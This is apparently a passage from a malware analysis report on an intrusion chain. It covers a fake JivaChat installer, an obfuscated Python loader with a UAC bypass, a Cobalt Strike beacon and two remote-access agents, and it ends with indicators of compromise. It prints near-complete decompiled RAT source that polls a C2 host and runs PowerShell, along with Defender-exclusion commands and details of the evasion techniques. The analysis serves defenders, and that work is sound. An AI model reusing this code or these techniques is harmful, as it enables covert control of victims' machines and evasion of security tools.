The payload receives the persistence method as a name, hashes it, and uses the hash to pick a registry location. That code runs from two places: the module path in the file agent, and a separate thread that waits a configured number of seconds before installing:
| Hash | Token | What it writes |
|---|---|---|
| 8D47EE6F | load | Software\Microsoft\Windows NT\CurrentVersion\Windows, value Load |
| 05908FFC | com | Software\Classes\CLSID{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}\InprocServer32, ThreadingModel set to Both |
| D6C45AF5 | logonscript | UserInitMprLogonScript under Windows NT\CurrentVersion\Windows |
| no match | Software\Microsoft\Windows\CurrentVersion\Run |
The fifth method is a scheduled task. The file agent registers it through PowerShell with Register-ScheduledTask and an -AtLogon trigger for the current user. persist:remove undoes persistence and reports back with persist:remove_result,. For the task, it runs Unregister-ScheduledTask -TaskName '…' -Confirm:$false.
Now You See Me, Now You Don’t
The second payload in this intrusion chain hid behind a name that sounded like an SDK update and came wrapped in more layers than most payloads ship with.
The Installer: JivaChat
The outermost wrapper is an Inno Setup 6.7.0 installer masquerading as a chat application:
AppName=JivaChat
AppVersion=9.973.64355
AppId={47d926d0-ff9e-494d-b9b9-81872e4e07cb}
AppPublisher=Jiva SDK Organization
AppPublisherURL=https://jiva.jp/jiva-chat/about
The [Files] section ships two items: 7za.exe and data.7z. The script decompiled from the setup binary tells the rest. On ssDone, it calls 7za.exe x "data.7z" -pUvcPOTe0zv5Y8j30 -o"<ExtractDir>" -y -aoa, then immediately launches {ExtractDir}\pythonw.exe "{ExtractDir}\main.pyw" without waiting (ExecWait value 0).

Inno Setup installer Pascal script
Stage 1: main.pyw
main.pyw is 149 lines. Line 17 is a single 2.9 MB ciphertext blob. Everything else is logic that fits in about 130 lines of readable code, except it has been deliberately made unreadable.
Two obfuscation layers stack on top of each other. The first aliases every primitive operator to a one-letter lambda:
b2 = lambda j3, k3: j3 & k3 # AND
c2 = lambda l3, m3: l3 << m3 # SHL
d2 = lambda n3, o3: n3 - o3 # SUB
e2 = lambda p3, q3: p3 >> q3 # SHR
f2 = lambda r3, s3: r3 | s3 # OR
l2 = lambda t3, u3: t3 + u3 # ADD
m2 = lambda v3, w3: v3 ^ w3 # XOR
h3 = lambda x3: not x3
The second builds every identifier and string constant from chr() calls with \x01 filler characters stripped by .replace(chr(1), ''):
j = __import__((chr(98)+chr(117)+chr(1)+chr(105)+chr(108)+chr(116)+chr(1)+chr(105)+
chr(1)+chr(110)+chr(1)+chr(115)+chr(1)).replace(chr(1),''), ...)
# → __import__('builtins', ...)
This way there are no string literals in the file that a scanner can match against builtins, marshal, os, struct, sys, or ctypes. The same technique applies to every function call, attribute access, and format string throughout the script.
Single-instance mutex and the elevation escape hatch
Before any decryption, the loader calls CreateMutexA with the name 99063dccf5b675ab2ca3d974066a1a8c. If the mutex already exists (GetLastError() == ERROR_ALREADY_EXISTS) and the environment variable 66F8D5619DC12524 is not set to 1, the process exits. That variable is the signal from the elevated relaunch, which we will get to in Stage 2 - that a second copy is intentional, without it the duplicate instance dies.
Key derivation: brute force as obfuscation
The embedded ciphertext on line 17 is encrypted with standard ChaCha20 (Sigma constants unchanged, 20 rounds, counter starting at 0). The key is not stored anywhere in the file.

Embedded ciphertext on line 17 (main.pyw)
Instead, the script holds three constants:
| Name | Value |
|---|---|
| s (salt) | 0c5c8ed1bf5045868ccb573a18a5c6a61a0c5c92847a9beb (24 bytes) |
| i1 (nonce) | fb3ba93aaf431aacd1404389 (12 bytes) |
| k1 (known plaintext) | e30000000000000000000000001100000000000001 (21 bytes) |
k1 is the CPython 3.12 marshal file header - the magic 0xe3, a co_argcount of zero, flags, etc. Every Python code object serialised by marshal starts with this exact sequence. The loader uses it as a known-plaintext oracle. The actual key is ("%08d" % f).encode() + s - an 8-digit decimal string left-padded with zeros, then the 24-byte salt appended, giving a 32-byte key. The script counts f down from 99,999,999:
f = t1 # 99999999
while f >= 0:
z = b'%08d' % f
a1 = z + s
w1 = q(a1, i1, 0) # one ChaCha20 block
k = True
for g in range(h1): # h1 = 21
if m2(m[g], w1[g]) != f1[g]: # m1[:21] ^ w1[:21] must equal k1
k = False; break
if k:
r1 = a1; break
f -= 1
The correct value is 99884509 (115,490 iterations from the top). The brute force is a way to keep the key out of the file entirely while keeping the correct value recoverable. Once found, the key is written to a cache file named ExKQc.lhf in the same directory as pythonw.exe. On the next run the script reads ExKQc.lhf first and skips the brute force entirely.
Decryption and execution
With the key resolved, the loader decrypts the full 1,007,264-byte blob with chacha20(r1, i1, m1) and passes the result to marshal.loads, then exec. The decrypted object is a CPython 3.12 code object for a module named pe_loader_x64.py.
Stage 2: pe_loader_x64.py - UAC Bypass, Persistence, and Reflective Loading
The inner module is 72 code objects. The same chr() and lambda obfuscation applies throughout the code.

Snippet of reconstructed pe_loader_x64.py from bytecode
UAC bypass via APPINFO RPC
The loader checks IsUserAnAdmin() first. If it is already elevated, this section is skipped. If not, it builds a local RPC binding and calls into the Windows Application Information service. The APPINFO interface GUID is 201ef99a-7fa0-444c-9399-19ba84f12a1a. This is the RAiLaunchAdminProcess interface - the same interface that the Windows UAC consent flow itself uses. Invoking it from user space with the right arguments causes Windows to auto-elevate a binary that carries a matching auto-elevation manifest entry, without showing a UAC prompt.
The binding is built with RpcStringBindingComposeW over ncalrpc (local procedure call), then hardened with RpcBindingSetAuthInfoExW to set identity and impersonation. The NDR transfer syntax is 8a885d04-1cec-4879-a544-1b2bdcd424dc, and the call goes through NdrAsyncClientCall to the APPINFO endpoint. Two auto-elevating Microsoft binaries are tried in order: winver.exe and computerdefaults.exe and both carry autoElevate: true in their manifests, making them valid targets.
Rather than discarding the elevated process, the loader re-uses its handle as the parent for the next pythonw.exe launch. The mechanism is:
- The auto-elevated binary is spawned with
CreateProcessWand immediately debugged (DEBUG_PROCESS). WaitForDebugEventyields aCREATE_PROCESS_DEBUG_INFOevent whosehProcessfield is a full-access handle to the elevated process.- The debug object is detached:
NtDuplicateObjectcopies the debug-object handle, thenNtRemoveProcessDebugandNtCloseremove and close it. The elevated binary is now running freely. - A new
pythonw.exeis started withInitializeProcThreadAttributeList/UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)pointing at the elevated handle. The child inherits its token. env['66F8D5619DC12524'] = '1'is set in the child’s environment block so the mutex bypass fires.
pythonw.exe (user) -> [APPINFO RPC] -> winver.exe (elevated, as debuggee)
-> [NtRemoveProcessDebug] -> winver.exe (elevated, free)
→ [UpdateProcThreadAttribute] -> pythonw.exe (elevated parent)
Defender exclusions
Before anything touches disk, a PowerShell command is run hidden to suppress Defender scanning:
Add-MpPreference -ExclusionPath '<install dir>' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess 'pythonw.exe' -ErrorAction SilentlyContinue
Persistence
A scheduled task named MultiUpdater is registered. The task XML is written as UTF-16 to %TEMP%\begvivn.mgk, then registered with:
schtasks /Create /F /TN MultiUpdater /XML %TEMP%\begvivn.mgk
The temp file is deleted immediately after. The task trigger is AtLogon for the current user. When elevated, the task principal uses HighestAvailable; without elevation it falls back to LeastPrivilege.
Loading lMiMWML.zic
pe_loader_x64.py includes a complete reflective PE loader written in pure Python ctypes: _copy_sections, _perform_relocations, _build_imports, _finalize_sections, _execute_tls, and call_entry. A vectored exception handler is registered before loading to catch any access violations during section mapping. The loader opens lMiMWML.zic from the same directory as main.pyw, decrypts it with a hardcoded ChaCha20 key and nonce, and passes the result to the loader:
| Field | Value |
|---|---|
| Key | e2b0ac4fb732e5de32c71a627c7f8957ef633c9b7e821f8094db5993a03b5b89 |
| Nonce | 50c3cef2a53f003729ecf25a |
| Counter | 0 (standard) |
| Sigma | expand 32-byte k (standard) |
Stage 3: lMiMWML.zic - Environment Gating Wrapper
The decrypted output is a MinGW x64 PE. Its imports are ADVAPI32 (four registry functions), KERNEL32 (twenty functions), and msvcrt. Its .data section begins with a 20-byte header followed by an encrypted beacon.
One detail worth noting, the loader resolves the IAT through LdrLoadDll and LdrGetProcedureAddress rather than LoadLibraryW and GetProcAddress.
Three gates before the Cobalt Strike runs

Environment gate dispatcher
Three functions run in sequence, and the beacon only executes if all three pass:
Gate 1 - temp directory file count: GetTempPathW retrieves %TEMP%. A recursive FindFirstFileW and FindNextFileW walk counts every file in that tree. If the count is zero (i.e., no files exist in the temp directory at all), the process exits. A freshly provisioned sandbox or clean VM with no prior activity fails this check.
Gate 2 - installed software count: RegOpenKeyExW(HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall) opens the standard uninstall key. RegEnumKeyExW counts the subkeys. If fewer than 2 are present, the process exits.
Gate 3 - installed software depth with memory check: The Uninstall key is walked again, this time reading DisplayName from each subkey via RegQueryValueExW. Separately, GlobalMemoryStatus and GetNativeSystemInfo check physical memory and processor configuration. The function returns the count of subkeys that carry a non-empty DisplayName. If that count is 2 or below, the process exits.
The inner cipher: position-dependent rotation
The Cobalt Strike beacon payload starts at .data + 0x14 and is 0x4b000 (307,200) bytes long. The cipher is:
plaintext[i] = ROR8(ciphertext[i], (i + 1) & 3)

Encrypted Cobalt Strike payload
The rotation count cycles 1, 2, 3, 0 per byte index. Every fourth byte (where (i+1) & 3 == 0) is copied unchanged.

Position-dependent ROR cipher
The output is placed in a VirtualAlloc(NULL, 0x4b000, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) buffer and called directly via function pointer.

Decrypt CS payload into RWX memory, execute via call rax
Stage 4: Cobalt Strike Beacon
The decrypted payload is a Cobalt Strike beacon DLL (with ReflectiveLoader export present). The configuration block sits at file offset 0x44440, XOR-encoded with 0x2e
.

Cobalt Strike config block
Decrypted config:
{
"beacon_type": "8 - HTTPS",
"c2": "45.94.31[.]112",
"port": 443,
"get_uri": "/api/v3/r",
"post_uri": "/api/v3/s",
"sleep_ms": 30000,
"jitter_pct": 15,
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; en-US; rv:119.0) Gecko/20100101 Firefox/119.0",
"spawnto_x86": "%windir%\\syswow64\\rundll32.exe",
"spawnto_x64": "%windir%\\sysnative\\rundll32.exe",
"injection_method": "allocation method 1, RWX",
"build_timestamp": "2023-09-06",
"watermark": 987654321,
"watermark_hash": "NtZOV6JzDr9QkEnX6bobPg=="
}
Pivoting on Cobalt Strike C2 45.94.31[.]112 on Censys we could see an interesting CN on the exposed RDP: flowing-foam. Watermark 987654321 dominates public Cobalt Strike beacon datasets with over 135,000 recorded occurrences across nearly 500 distinct IPs, suggesting it represents a widely reused cracked or pirated copy of the framework shared across different threat actors. It has previously been associated with the IcedID malware botnet and the Dagon Locker ransomware gang, and is historically linked to beacons dropped by the Qakbot botnet. The watermark appears consistently across Cobalt Strike versions 4.7, 4.8, and 4.9, accounting for the highest sample counts in each.
The watermark does not identify the specific operator, but it places this beacon within a large pool of commodity infrastructure using the same builder, rather than a licensed or custom-built deployment.
ReflectiveLoader: no customisation
Inside the ReflectiveLoader function, the beacon base address is located by hunting backward from RIP for two hardcoded magic values baked directly into the .text section as plaintext immediates:
"AAAAAAAA"
"BBBBBBBB"
These are the Malleable C2 profile’s magic_mz and magic_pe defaults. A configured operator would replace them with something custom to break signature detection but here they are untouched. The combination of stock ReflectiveLoader, default magic bytes, watermark 987654321, and unmodified build timestamp suggests minimal operator customization.
Remote Double Agent or RemoteAgentAgent
The installer script that RemoteAgent.msi executes tells most of the story. install_service.ps1 drops RemoteAgentAgent.exe into C:\Program Files\RemoteAgent, registers it as a Windows service via NSSM under LocalSystem, passes it AGENT_CONFIG_PATH pointing at a JSON config containing the C2 URL and a registration key, and starts it with --service. The config defaults from the script:
endpoint_url = hxxps://app-af-agent-prod-009.azurewebsites[.]net
registration_key = demo-key-123
device_name = %COMPUTERNAME%
poll_interval = 10 seconds
The binary itself is a PyInstaller 2.1+ bundle packing a CPython 3.11 runtime and a single entry-point script, agent_service.py, compiled to .pyc. There is no obfuscation, no packing beyond PyInstaller’s own zlib compression, thankfully, so we could understand the full logic of the payload.
The bootloader unpacks everything to a temporary directory at runtime (or a fixed one if pyi-runtime-tmpdir is set), initializes an isolated CPython interpreter, and calls agent_service.py’s __main__ block.
agent_service.py - Reconstructed Logic
The script is decompiled with pycdc. The three functions where pycdc’s Python 3.11 with-block and exception-handler rendering is incomplete, load_config, execute_command, and poll_loop, were resolved directly from bytecode. Everything below is a pretty accurate decompiled source:
import json
import os
import subprocess
import sys
import time
from datetime import datetime
from pathlib import Path
import requests
CONFIG_PATH = Path(os.getenv('AGENT_CONFIG_PATH',
r'C:\Program Files\RemoteAgent\config.json'))
def load_config():
if not CONFIG_PATH.exists():
template_path = CONFIG_PATH.with_name('config.json.template')
if template_path.exists():
CONFIG_PATH.parent.mkdir(parents=True, exist_ok=True)
CONFIG_PATH.write_text(
template_path.read_text(encoding='utf-8'),
encoding='utf-8',
)
else:
raise FileNotFoundError(f'Config file not found: {CONFIG_PATH}')
with CONFIG_PATH.open('r', encoding='utf-8-sig') as f:
return json.load(f)
def ensure_config_template():
example = {
'endpoint_url': 'hxxps://your-app.azurewebsites[.]net',
'registration_key': 'demo-key-123',
'device_name': 'WIN-AGENT-01',
'device_id': '',
'poll_interval_seconds': 10,
}
return example
def register_device(cfg):
endpoint = cfg['endpoint_url'].rstrip('/')
response = requests.post(
f'{endpoint}/api/register',
json={
'name': cfg['device_name'],
'platform': 'windows',
'version': '1.0.0',
'registration_key': cfg['registration_key'],
},
timeout=30,
)
response.raise_for_status()
data = response.json()
cfg['device_id'] = data['device_id']
CONFIG_PATH.parent.mkdir(parents=True, exist_ok=True)
with CONFIG_PATH.open('w', encoding='utf-8') as f:
json.dump(cfg, f, indent=2)
f.write('\n')
def fetch_commands(cfg):
endpoint = cfg['endpoint_url'].rstrip('/')
response = requests.get(
f'{endpoint}/api/commands',
params={'device_id': cfg['device_id'], 'status': 'pending'},
timeout=30,
)
response.raise_for_status()
return response.json().get('commands', [])
def execute_command(command):
cmd_text = command.get('command', '')
start = datetime.utcnow().isoformat(timespec='seconds') + 'Z'
try:
completed = subprocess.run(
['powershell', '-NoProfile', '-ExecutionPolicy', 'Bypass',
'-Command', cmd_text],
capture_output=True,
text=True,
shell=False,
timeout=300,
)
return {
'status': 'completed' if completed.returncode == 0 else 'failed',
'stdout': completed.stdout,
'stderr': completed.stderr,
'exit_code': completed.returncode,
'started_at': start,
'finished_at': datetime.utcnow().isoformat(timespec='seconds') + 'Z',
}
except Exception as exc:
return {
'status': 'failed',
'stdout': '',
'stderr': str(exc),
'exit_code': 1,
'started_at': start,
'finished_at': datetime.utcnow().isoformat(timespec='seconds') + 'Z',
}
def send_result(cfg, command_id, payload):
endpoint = cfg['endpoint_url'].rstrip('/')
response = requests.post(
f'{endpoint}/api/commands/{command_id}/result',
json=payload,
timeout=30,
)
response.raise_for_status()
return response.json()
def poll_loop():
cfg = load_config()
if not cfg.get('device_id'):
register_device(cfg)
while True:
try:
commands = fetch_commands(cfg)
for command in commands:
result = execute_command(command)
payload = {
'status': result['status'],
'stdout': result['stdout'],
'stderr': result['stderr'],
'exit_code': result['exit_code'],
}
send_result(cfg, command['id'], payload)
except requests.HTTPError as exc:
if exc.response is not None and exc.response.status_code == 404:
cfg['device_id'] = ''
register_device(cfg)
else:
print(f'[agent] error: {exc}', flush=True)
except Exception as exc:
print(f'[agent] error: {exc}', flush=True)
time.sleep(int(cfg.get('poll_interval_seconds', 10)))
if __name__ == '__main__':
if '--service' in sys.argv:
poll_loop()
else:
print('Remote agent started in foreground mode.')
poll_loop()
C2 Protocol
All traffic goes to the single endpoint configured in config.json - in this deployment, hxxps://app-af-agent-prod-009.azurewebsites[.]net. Four REST calls make up the full protocol surface:
Registration - POST /api/register
Fires on first run (empty device_id) or when /api/commands returns 404 (device no longer known to the server). The server responds with a JSON body containing device_id, which gets written back to config.json on disk.
POST /api/register HTTP/1.1
Host: app-af-agent-prod-009.azurewebsites[.]net
Content-Type: application/json
{
"name": "<COMPUTERNAME>",
"platform": "windows",
"version": "1.0.0",
"registration_key": "demo-key-123"
}
The registration_key is the gate controlling which hosts can register.
Command Polling - GET /api/commands
Called every poll_interval_seconds (default 10). Returns a list of pending commands for this device.
GET /api/commands?device_id=<id>&status=pending HTTP/1.1
Host: app-af-agent-prod-009.azurewebsites[.]net
Command Execution
Each "command" value from the poll response goes directly into:
subprocess.run(
['powershell', '-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', cmd_text],
capture_output=True, text=True, shell=False, timeout=300,
)
Whatever the server sends in "command" executes as PowerShell with ExecutionPolicy Bypass.
Result Reporting - POST /api/commands/{id}/result
stdout, stderr, exit_code, and ISO 8601 timestamps go back immediately after the subprocess returns.
POST /api/commands/<cmd_id>/result HTTP/1.1
Host: app-af-agent-prod-009.azurewebsites.net
Content-Type: application/json
{
"status": "completed" | "failed",
"stdout": "<captured stdout>",
"stderr": "<captured stderr>",
"exit_code": <int>
}
RMMCRAT
rmm.exe is a custom C++ payload masquerading as a Remote Monitoring and Management agent. Structurally it resembles a purpose-built RMM product, Windows service installation, TOML configuration, token-based authentication, DPAPI credential storage, and SHA-256 package integrity verification but every capability it provides serves offensive objectives: full host fingerprinting on every beacon, operator-controlled task execution including remote payload delivery (run_package) and remote shutdown (stop_agent), and a server-side kill switch. String encryption via a splitmix64 keystream, dynamic API resolution through encrypted GetProcAddress chains.
For successful execution artefacts, you would look for C:\ProgramData\RMMAgent\, which includes agent.log, a DPAPI-protected credentials.dat holding the issued bearer token, a DPAPI-protected client_id.bin holding the device UUID.
String Obfuscation
Every string literal in the binary is encrypted. The cipher is a splitmix64 keystream XOR applied in one of two modes depending on string type:
Wide strings:
keystream_word = splitmix64(seed) >> 48
wide_char[i] ^= keystream_word
Byte strings (all other strings - paths, HTTP endpoints, JSON keys, log messages, config keys):
keystream_byte = splitmix64(seed) >> 33 (low byte)
byte[i] ^= keystream_byte
The splitmix64 state advances once per character consumed. Each encrypted string carries its own hardcoded seed constant in the surrounding code. There is no shared key table:

splitmix64 keystream decryption
Dynamic API Resolution
The binary loads all Win32 APIs at startup via GetProcAddress calls where every string, both DLL names and function names, is individually encrypted with splitmix64 and decrypted at runtime. Static analysis tools see only LoadLibraryW and GetProcAddress in the PE import table.
DLL names are encrypted as UTF-16LE wide strings (splitmix64 keystream >> 48, XOR two bytes at a time). Function names are encrypted as narrow byte strings (splitmix64 keystream >> 33, XOR one byte at a time) and decrypted inside 78 individual one-function-per-API stub functions, each carrying its own hardcoded seed.
The ten DLLs loaded (all names encrypted):
kernel32.dll advapi32.dll winhttp.dll crypt32.dll bcrypt.dll iphlpapi.dll ws2_32.dll netapi32.dll rpcrt4.dll shell32.dll
All 77 resolved function names (decrypted):
| DLL | Functions |
|---|---|
| kernel32 | CreateEventW, CreateProcessW, DeviceIoControl, ExitProcess, FreeConsole, GetCommandLineW, GetComputerNameExW, GetCurrentProcessId, GetDiskFreeSpaceExW, GetDriveTypeW, GetExitCodeProcess, GetLogicalDrives, GetModuleFileNameW, GetStdHandle, GetSystemWindowsDirectoryW, GetTempPathA, GetTempPathW, GetUserNameW, GetVolumeInformationW, LocalFree, MultiByteToWideChar, SetConsoleCtrlHandler, SetEvent, SetUnhandledExceptionFilter, Sleep, TerminateProcess, WaitForSingleObject, WideCharToMultiByte, WriteConsoleW |
| advapi32 | ChangeServiceConfig2W, CloseServiceHandle, CreateServiceW, DeleteService, OpenSCManagerW, OpenServiceW, RegCloseKey, RegCreateKeyExW, RegOpenKeyExW, RegQueryValueExW, RegSetValueExW, RegisterServiceCtrlHandlerExW, SetServiceStatus, StartServiceCtrlDispatcherW |
| winhttp | WinHttpCloseHandle, WinHttpConnect, WinHttpOpen, WinHttpOpenRequest, WinHttpQueryDataAvailable, WinHttpQueryHeaders, WinHttpReadData, WinHttpReceiveResponse, WinHttpSendRequest, WinHttpSetOption, WinHttpSetTimeouts |
| crypt32 | CryptProtectData, CryptUnprotectData, CertCloseStore, CertOpenStore |
| bcrypt | BCryptCloseAlgorithmProvider, BCryptCreateHash, BCryptDecrypt, BCryptDestroyHash, BCryptFinishHash, BCryptGenRandom, BCryptGenerateSymmetricKey, BCryptHashData, BCryptOpenAlgorithmProvider, BCryptSetProperty |
| iphlpapi | GetAdaptersAddresses |
| ws2_32 | inet_ntop |
| netapi32 | NetApiBufferFree, NetGetJoinInformation |
| rpcrt4 | RpcStringFreeA, UuidCreate, UuidToStringA |
| shell32 | SHGetFolderPathW |
| ntdll | RtlGetVersion |
Command-Line Interface That Doesn’t Exist
The binary is compiled as IMAGE_SUBSYSTEM_WINDOWS_GUI, not as a console application. This means it receives no console handle when launched from cmd.exe or PowerShell: stdout, stdin, and stderr are all INVALID_HANDLE_VALUE.
But the following flags were recovered by decrypting the wide-string argument table:
The GUI subsystem choice is deliberate: the binary produces no console window when launched by the Service Control Manager, and resists casual interactive probing - -h appearing to do nothing makes it look non-functional to an analyst running it from the command line.
The full help text recovered from the binary:
RMM Agent 1.0.0 — Remote Monitoring & Management client
Usage: rmm_agent [options]
Options:
-c, --config <path> Configuration file (default: agent.conf next to the exe)
--install-service Register the agent as a Windows service
--uninstall-service Remove the Windows service
--service Run under the Service Control Manager
-v, --version Print version and exit
-h, --help Show this help
Configuration is fully standalone: values compiled into the binary (build_config.h)
or embedded into this EXE by the server's Generate Client flow are used when no
config file exists. Optional agent.conf and RMM_* environment variables override them.
Service metadata (decrypted):
- Service name (SC key):
RMMAgent - Display name:
RMM Agent
On install, the binary logs: Service '%s' installed. Start it with: sc start %s
Configuration
The agent supports a flat key=value config file (agent.conf by default, in the same directory as the executable). At startup it first attempts to read config from a stdin pipe (ReadFile(handle=0, buf, 0x8000)), then falls back to <exe_dir>\agent.conf. If neither is present, it uses values compiled directly into the binary by the C2’s client generator at build time.
All config keys are encrypted strings; the following were fully decrypted
| Config Key | Default | Description |
|---|---|---|
| SERVER_URL | — | C2 base URL (required) |
| REGISTRATION_TOKEN | — | Pre-shared key sent in registration body |
| HEARTBEAT_INTERVAL | 30 s | Poll interval (clamped 5–3600 s) |
| REQUEST_TIMEOUT | 300 s | HTTP timeout (clamped 10–3600 s) |
| MAX_RETRY_DELAY | 15 000 ms | Maximum reconnect backoff |
| AGENT_VERSION | 1.0.0 | Version string reported to server |
| LOG_LEVEL | info | Log verbosity |
| CONSOLE_LOG | (bool) | Mirror logs to stdout |
| ALLOW_HTTP | (bool) | Permit plain HTTP connections |
| DEV_MODE | (bool) | Development mode flag |
| INSECURE_DEV_ALLOW_SELF_SIGNED | (bool) | Skip TLS certificate validation |
| TRUSTED_CA_FILE | — | Path to custom CA bundle |
| SERVICE_NAME | RMMAgent | SC service key name |
| SERVICE_DISPLAY_NAME | RMM Agent | SC display name |
Log files written to the executable’s directory:
agent.log- primary structured logcrash.log- exception/crash output
Embedded Configuration (RMMC Blob)
The C2 URL and runtime settings are appended to the end of the PE file as a plaintext blob preceded by a structured RMMC header.
Header structure (16 bytes):
| Offset | Size | Value | Description |
|---|---|---|---|
| +0 | 4 bytes | 52 4D 4D 43 | Magic: RMMC |
| +4 | 4 bytes | 01 00 00 00 | Version: 1 |
| +8 | 4 bytes | CD 00 00 00 | Payload length: 205 bytes |
| +12 | 4 bytes | 00 00 00 00 | Reserved |
Payload (205 bytes, plaintext, immediately follows header):
# RMM Agent embedded configuration (standalone build)
SERVER_URL=hxxps://softbymade[.]top
REGISTRATION_TOKEN=r4iZqA7PmI1GDu0wlnvB1yB2sWDRrb5KYSRq9uCb7UI
HEARTBEAT_INTERVAL=30
LOG_LEVEL=info
CONSOLE_LOG=true
Registration
On first run (or after a token cache miss), the agent registers with the C2: Request:
POST hxxps://softbymade[.]top/api/v1/agents/register
Content-Type: application/json
{
"name": "<hostname>",
"platform": "<os_name>",
"version": "<AGENT_VERSION>",
"registration_key": "<REGISTRATION_TOKEN config value>"
}
The infected machine sends out the registration token value r4iZqA7PmI1GDu0wlnvB1yB2sWDRrb5KYSRq9uCb7UI and then receives the response from C2:
{ "agent_token": "<bearer token>" }
The token is written to credentials.dat (DPAPI-protected, described below) and reused on subsequent runs. On 401/403 the agent discards the cached token and re-registers. A missing agent_token field in the response produces "server returned no agent token." and registration is retried with backoff.
On success: "registration successful, token stored."
On failure: "registration failed: <error> (retrying with backoff)"
Confirmed from agent.log:
[2026-09-03T11:16:03Z] [INFO] registering with server hxxps://softbymade[.]top
[2026-09-03T11:16:04Z] [INFO] registration successful, token stored
Heartbeat and Task Polling
After successful registration, the agent begins its heartbeat loop. On each iteration:
- Sends heartbeat with full machine fingerprint:
POST hxxps://softbymade[.]top/api/v1/agents/heartbeat
Authorization: Bearer <agent_token>
Content-Type: application/json
{
"machine_fingerprint": {
"client_id": "<uuid>",
"hostname": "<hostname>",
"username": "<current user>",
"domain": "<domain>",
"os_name": "<OS name>",
"os_version": "<OS version>",
"architecture": "<x86/x64/...>",
"cpu_model": "<CPU model string>",
"cpu_cores": <int>,
"cpu_threads": <int>,
"ram_total": <bytes>,
"ip_addresses": [...],
"mac_addresses": [...],
"disks": [
{
"letter": "<drive letter>",
"drive_type": "<type>",
"total": <bytes>,
"free": <bytes>,
"used": <bytes>,
"percent": <float>,
"media_type": "<HDD|SSD|...>"
}
],
"agent_version": "<version>",
"registration_token": "<token hash>"
}
}
- Parses response for two keys:
"disabled"- if true, agent logs"agent is disabled by the administrator; entering idle mode."and enters an idle sleep loop (retries every 5 s × 10 attempts)"tasks"- array of pending task objects to execute
- Sleeps for
HEARTBEAT_INTERVALseconds (default 30 s) using a cancellable wait, then loops.
Task Execution
Pending tasks received in the heartbeat response body are queued and dispatched. Each task carries a task_id. If the task queue is full, the agent logs "task queue full." and the task is dropped.
The following task types were confirmed from agent.log:
[2026-09-03T11:22:36Z] [INFO] [client=09aa855e-3faa-4790-8b5e-77232346d6ac] executing task type=run_package task_id=4f2ec212-850d-4a92-b2a5-44abc9448374
[2026-09-03T11:22:36Z] [INFO] [client=09aa855e-3faa-4790-8b5e-77232346d6ac] downloading package id=e8a4d894-92f0-4526-983e-78c0019980a9 name=Notepad++ size=1234708 -> C:\ProgramData\RMMAgent\packages\Notepad++.exe
[2026-09-03T11:22:37Z] [ERROR] [client=09aa855e-3faa-4790-8b5e-77232346d6ac] task failed task_id=4f2ec212-850d-4a92-b2a5-44abc9448374 error=SHA-256 mismatch: expected 1ae99bb062fdf312918797f16e40c1505e0a017d2ef1e914606e84cf31c4bee4 got f3d0639aebb5d21f3635b9a36edd358af21d0e36c99b4bc98f7366ec74211b4f
The package was named Notepad++ as a masquerade. The SHA-256 mismatch indicates either a corrupted download or server-side error; the payload was never executed on the machine.
Credential Storage (DPAPI)
The agent persists two values to disk in the executable’s working directory, both protected using the Windows Data Protection API (CryptProtectData / CryptUnprotectData via crypt32.dll).
Both files use CRYPTPROTECT_LOCAL_MACHINE scope (dwFlags = 0x4), meaning any process running as SYSTEM on the same machine can decrypt them — the RMMAgent service runs as LocalSystem and therefore always has access. The files are opaque to non-SYSTEM processes, including low-privilege analysis or AV sandboxes.
client_id.bin
Stores the device UUID generated on first run and used as the stable client_id in every heartbeat.
credentials.dat
Stores the bearer token issued by the server on registration. The plaintext before encryption is:
agent_token=<bearer token value>
The agent reads this file at startup to skip re-registration. On a fresh registration it writes a new value.
DPAPI blob structure
Both files share an identical DPAPI layout. Annotated hex for client_id.bin:
01 00 00 00 dwVersion = 1
D0 8C 9D DF 01 15 D1 11
8C 7A 00 C0 4F C2 97 EB guidProvider (Microsoft Base Crypto Provider)
01 00 00 00 dwMasterKeyVersion = 1
B5 97 90 FD 03 82 5B 40
B9 DD 6E 2E BD 39 79 95 guidMasterKey = {fd9097b5-8203-405b-b9dd-6e2ebd397995}
04 00 00 00 dwFlags = CRYPTPROTECT_LOCAL_MACHINE
12 00 00 00 cbDescription = 18
52 00 4D 00 4D 00 41 00
67 00 65 00 6E 00 74 00 00 00 szDescription = "RMMAgent" (UTF-16LE)
03 66 00 00 algId = 0x6603 (3DES)
C0 00 00 00 algHashId
10 00 00 00 cbSalt = 16
53 52 9E 93 FB 44 01 47
6F A1 2C 9F 0D 6C 23 7C pbSalt (16 random bytes, unique per encryption)
00 00 00 00 cbHmac = 0
04 80 00 00 cbAlgParam
A0 00 00 00
10 00 00 00
FD 77 89 5B 22 8D C6 46
4D 38 97 AB 2C 6E D1 2C (alg param block)
28 00 00 00 cbCipherText = 40
33 04 F3 DF 40 69 B4 6C
77 7E 3E 4C 9C 85 5A 41
C3 BD 53 EF C7 B4 22 D3
02 E2 C6 E9 70 57 14 70
9A 70 9A 1D 62 9E 94 0E pbCipherText (40 bytes — the encrypted payload)
14 00 00 00 cbComment = 20
27 44 FF 2E 2C 48 33 79
44 D6 76 2E 6B D5 83 F7
41 E4 86 42 pbComment (HMAC integrity tag)
The actual payload - client_id=... is the 40-byte ciphertext block. The remaining 154 bytes are the fixed DPAPI envelope: provider identity, master key pointer, description label, random salt, and HMAC tag.
Yara Rules
PavokwiLoader
RMMCRAT
Indicators of Compromise
| Indicator | Type | Description |
|---|---|---|
| RemoteAgentAgent.exe (PyInstaller RMM) | ||
| e678dcc13c0e9fca5713fb9ddfdbb7f4304ae47b1832725f22df5288edce3dab | SHA256 | main.pyw |
| 3ef451c669cdffc1415e6a816c141f3d7f1a560ba7f2f2bddb734c55e2228788 | SHA256 | lMiMWML.zic (encrypted payload) |
| 6ee5b6da19809fbb7626aae42e0de904389ca7422463a168c8276cbef40b9e51 | SHA256 | pe_loader_x64.py (decrypted marshal) |
| f9642deb87a32987e0514530a4507137d2dfc856cd8ed1f15b7522b83b2c634f | SHA256 | Gating wrapper (decrypted .zic) |
| 28273fcde296082f6194f6b863b4fd67cddc645339b4416ac3d302495cb1b389 | SHA256 | Cobalt Strike beacon |
| 45[.]94[.]31[.]112 | IPv4 | Cobalt Strike beacon C2 |
